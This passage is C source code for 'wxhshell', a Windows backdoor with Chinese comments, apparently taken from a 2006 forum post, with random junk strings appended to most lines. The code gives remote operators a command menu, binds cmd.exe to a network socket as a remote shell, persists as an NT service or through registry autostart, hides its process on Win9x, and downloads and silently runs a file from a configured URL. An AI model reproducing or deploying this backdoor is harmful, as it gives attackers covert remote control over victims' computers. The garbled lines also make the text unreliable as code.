  else { ^t|CD|,K_O  
R0 g-  
    switch(cmd[0]) { 1|+Z mo"  
  Pf?*bI  
  // 帮助 ,gvv297  
  case '?': { ujo3"j[b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l1Zf#]x  
    break; )\iO wA  
  } ywPFL/@  
  // 安装 OS X5S:XS  
  case 'i': { %*>ee[^L ,  
    if(Install()) \~3g*V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rh:@@4<  
    else B%|cp+/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8T}Ycm5}  
    break; yAge2m]<B  
    } h4j{44MT  
  // 卸载 q- U/JC  
  case 'r': { d[b(+sHp a  
    if(Uninstall()) FwdRM)1)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F]#rH   
    else {"cS:u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kt.y"^  
    break; m{U+aqAQK  
    } E7XFt#P.  
  // 显示 wxhshell 所在路径 :d&^//9  
  case 'p': { ,]OL[m  
    char svExeFile[MAX_PATH]; dy4! >zxF  
    strcpy(svExeFile,"\n\r"); AWp{n  
      strcat(svExeFile,ExeFile); }'?N+MN  
        send(wsh,svExeFile,strlen(svExeFile),0); ' 9K4A'2[  
    break; s'&/8RR  
    } kfod[*3  
  // 重启 2{<5?Op  
  case 'b': { ?A[q/n:K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  CB<i  
    if(Boot(REBOOT)) YKjm_)8]w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8=]R6[,fD  
    else { :r<uH6x|  
    closesocket(wsh); zi^T?<t  
    ExitThread(0); +/g/+B_b  
    } $oefG}h2  
    break; 9~6FWBt  
    } ^Fy{Q*p`(  
  // 关机 Qx9lcO_  
  case 'd': { a0vg%Z@!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t@a2@dX|  
    if(Boot(SHUTDOWN)) C?UV3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZDmBuf q  
    else { 0;*1g47\  
    closesocket(wsh); h\ZnUn_J  
    ExitThread(0); 1:3I G=  
    } <f l-P  
    break; DPrFBy  
    } |<,!K;@  
  // 获取shell MKad 5gD*<  
  case 's': { @"`J~uK  
    CmdShell(wsh); %;SOe9  
    closesocket(wsh); G~oGBq6Gz  
    ExitThread(0); MroJ!.9  
    break; z|VQp,ra  
  } "V|1w>s  
  // 退出 ,ux?wa+  
  case 'x': { !nQ!J+ g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1-@[th  
    CloseIt(wsh); 9-<EeV_/  
    break; }Q7 ~tu  
    } Et\z^y  
  // 离开 Ig&=(Kmr  
  case 'q': { v&[Ff|>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9=(*#gRd  
    closesocket(wsh); J|DID+M  
    WSACleanup(); 3y}0J @  
    exit(1); #d+bld\  
    break; "=7y6bM  
        } F,Ls1  
  } 0]tr&BLl*  
  } ={Bcbj{  
4I"p>FIkY  
  // 提示信息 +w~ <2Kt8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  pw^$WK  
} WU:~T.Su  
  } [L.+N@M  
[4V{~`sF  
  return; [25[c><:w"  
} }L.xt88  
LwpO_/qV  
// shell模块句柄 DKd:tL24&  
int CmdShell(SOCKET sock) SxC   
{ Fdgu=qMm  
STARTUPINFO si; PcXz4?Q$  
ZeroMemory(&si,sizeof(si)); S#IlWU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cr?|bDv}o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !J3dlUFRO  
PROCESS_INFORMATION ProcessInfo; qpo3b7(N  
char cmdline[]="cmd"; #nQZ/[|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ac8+?FpK #  
  return 0; +|#lUXC  
} !d@qT.  
),#%jc2_^  
// 自身启动模式 <ID/\Qx`q  
int StartFromService(void) MfJ;":]O!  
{ 5PY,}1`  
typedef struct FLT4:B7  
{ ;pK/t=$  
  DWORD ExitStatus; !Cq2<[K#  
  DWORD PebBaseAddress; W\JbX<mQ  
  DWORD AffinityMask; s-V5\Lip,  
  DWORD BasePriority; u:~2:3B  
  ULONG UniqueProcessId; >w,o|  
  ULONG InheritedFromUniqueProcessId; 2!Bjs?K<bv  
}   PROCESS_BASIC_INFORMATION; jQ &$5&o  
SE%B&8ZD  
PROCNTQSIP NtQueryInformationProcess; m+y5Q&;f  
inO)Y]|f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nj8 `<Sl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RR,gC"cTi  
-+^E5  
  HANDLE             hProcess; q~*9A-MH  
  PROCESS_BASIC_INFORMATION pbi; T%{qwZc+mJ  
#bxUI{*J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *VJT]^_  
  if(NULL == hInst ) return 0; jH+ddBVA  
Up:<NHJT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2Zf} t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G}!dm0s$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~Z74e>V%  
_J'V5]=4  
  if (!NtQueryInformationProcess) return 0; :~K c"Pg  
oD_n+95B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T$ <l<.Qd  
  if(!hProcess) return 0; y|sU-O2}Dl  
U?vG?{A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T#ktC0W]h  
`zQ2 i}Uju  
  CloseHandle(hProcess); TQXp9juK  
W{pyU \  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +;Yd<~!c Z  
if(hProcess==NULL) return 0; <g/Z(<{wor  
y~,mIM$[@  
HMODULE hMod; >LvQ&fAo  
char procName[255]; (o+(YV^  
unsigned long cbNeeded; Mf 7 Z5  
={HYwP;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Lt\Wz'6Y  
5u(,g1s}UZ  
  CloseHandle(hProcess); oD0WHp  
uc>u=kEue  
if(strstr(procName,"services")) return 1; // 以服务启动 in>Os@e#  
s L;  
  return 0; // 注册表启动 ]r]=Q"/5  
} fk*$}f  
!bf8 r  
// 主模块 qa>Z?/w  
int StartWxhshell(LPSTR lpCmdLine) Dt)O60X3>  
{ p6UPP|-S  
  SOCKET wsl; SSoD}N  
BOOL val=TRUE; \^l273  
  int port=0; :Z(w,  
  struct sockaddr_in door; ??X3teO{  
58TH|Rj+I  
  if(wscfg.ws_autoins) Install(); 0rnne L  
~353x%e'  
port=atoi(lpCmdLine); adi^*7Q] )  
R^[b I;  
if(port<=0) port=wscfg.ws_port; [(*ObvEF  
L[Z SgRTu  
  WSADATA data; y `)oD0)Fj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >bgx o<  
# Uc0 W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BWtGeaW/sr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bSK> p3  
  door.sin_family = AF_INET; %Z:07|57I[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u\)2/~<]  
  door.sin_port = htons(port); `5J`<BPs  
<B+xE?v4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { itH` s<E  
closesocket(wsl); 17hFwo`  
return 1; ';HNQe?vT  
} k15fy"+Ut  
|.asg  
  if(listen(wsl,2) == INVALID_SOCKET) { BQ[,(T`+R  
closesocket(wsl); (z8^^j[  
return 1; fga{ b7  
} &]d-R  
  Wxhshell(wsl); Wciw6.@  
  WSACleanup(); 2q4dCbJ!  
erhxZ|."P  
return 0; P~6QRm  
(x+C =1,  
} :6N'%LKK  
`W& :*  
// 以NT服务方式启动 k&<cFZU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) be@\5  
{ \J)ffEKIp  
DWORD   status = 0; A2C|YmHk  
  DWORD   specificError = 0xfffffff; }DCR(p rD  
D%WgE&wtM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mVSaC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Or({|S9d2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {? a@UUvC  
  serviceStatus.dwWin32ExitCode     = 0; @bkZ< Gq  
  serviceStatus.dwServiceSpecificExitCode = 0; %.NOQ<@W  
  serviceStatus.dwCheckPoint       = 0; ITUwIpA E  
  serviceStatus.dwWaitHint       = 0; :)djHPP*  
kdr?I9kwW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ('9LUFw\  
  if (hServiceStatusHandle==0) return; -GqMis}c  
D'nO  
status = GetLastError(); [@"7qKd1  
  if (status!=NO_ERROR)  4E"OD+  
{ J|'e.1v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bwr}Ge  
    serviceStatus.dwCheckPoint       = 0; &,4 3&pFU  
    serviceStatus.dwWaitHint       = 0; 6Cdc?#&  
    serviceStatus.dwWin32ExitCode     = status; "OdR"M(G\  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~F{u4p7{N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YtQsSU  
    return; QH) uh"  
  } ~qjnV  
5O7 x4bY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PkqOBU*|=  
  serviceStatus.dwCheckPoint       = 0; \G+uK:PC,  
  serviceStatus.dwWaitHint       = 0; +nLsiC{&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RhL!Z z  
} .q!U@}k.  
AV t(e6H  
// 处理NT服务事件,比如:启动、停止 ! u4'1jd[d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vk3xWD~  
{ "Z\^dR  
switch(fdwControl) mbZS J  
{ RD$"ft]Vc  
case SERVICE_CONTROL_STOP: !awsQ!e|  
  serviceStatus.dwWin32ExitCode = 0; 65@,FDg*i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sF+mfoMtG  
  serviceStatus.dwCheckPoint   = 0; >$%rsc}^  
  serviceStatus.dwWaitHint     = 0; Os9;;^k  
  { &*w)/W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7yp}*b{s  
  } e>GX]tK  
  return; _&]B  
case SERVICE_CONTROL_PAUSE: ,hggmzA~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N~Kl{" >`  
  break; SL j2/B0  
case SERVICE_CONTROL_CONTINUE: 2V-zmyJs5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qh40nqS;9  
  break; L_k'r\L  
case SERVICE_CONTROL_INTERROGATE: =Nc}XFq  
  break; Em(&cra  
}; L#\!0YW/@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0-N"_1k|?  
} @~Uu]1  
qMHI-h_A  
// 标准应用程序主函数 z. 6-D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #RyX}t X,  
{ gGtl*9a=  
]V`L\  
// 获取操作系统版本 2$Fy?08q  
OsIsNt=GetOsVer(); nw)yK%`;M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U}=o3u  
M^e;WY@ D  
  // 从命令行安装 P:p@Iep  
  if(strpbrk(lpCmdLine,"iI")) Install(); &4m\``//9  
pyf/%9R:d  
  // 下载执行文件 }u CC~ <^  
if(wscfg.ws_downexe) { O.9r'n4f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %GY U$aA  
  WinExec(wscfg.ws_filenam,SW_HIDE); U|NVDuo{{x  
} M?3N h;  
>~D-\,d|f  
if(!OsIsNt) { (b]r_|'  
// 如果时win9x,隐藏进程并且设置为注册表启动 p>O>^R  
HideProc(); | M|5Nc>W  
StartWxhshell(lpCmdLine); AJ:(NV1=  
} $;1TP|  
else WZ3GI l  
  if(StartFromService()) A<+veqb4  
  // 以服务方式启动 }H>}v/  
  StartServiceCtrlDispatcher(DispatchTable); h VQj$TA  
else Jxq;Uu9  
  // 普通方式启动 hm&cRehU  
  StartWxhshell(lpCmdLine); 5Y#W$Fx($R  
k3w(KH @  
return 0; 5 wT e?  
}
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只看该作者 1 发表于: 2006-10-10
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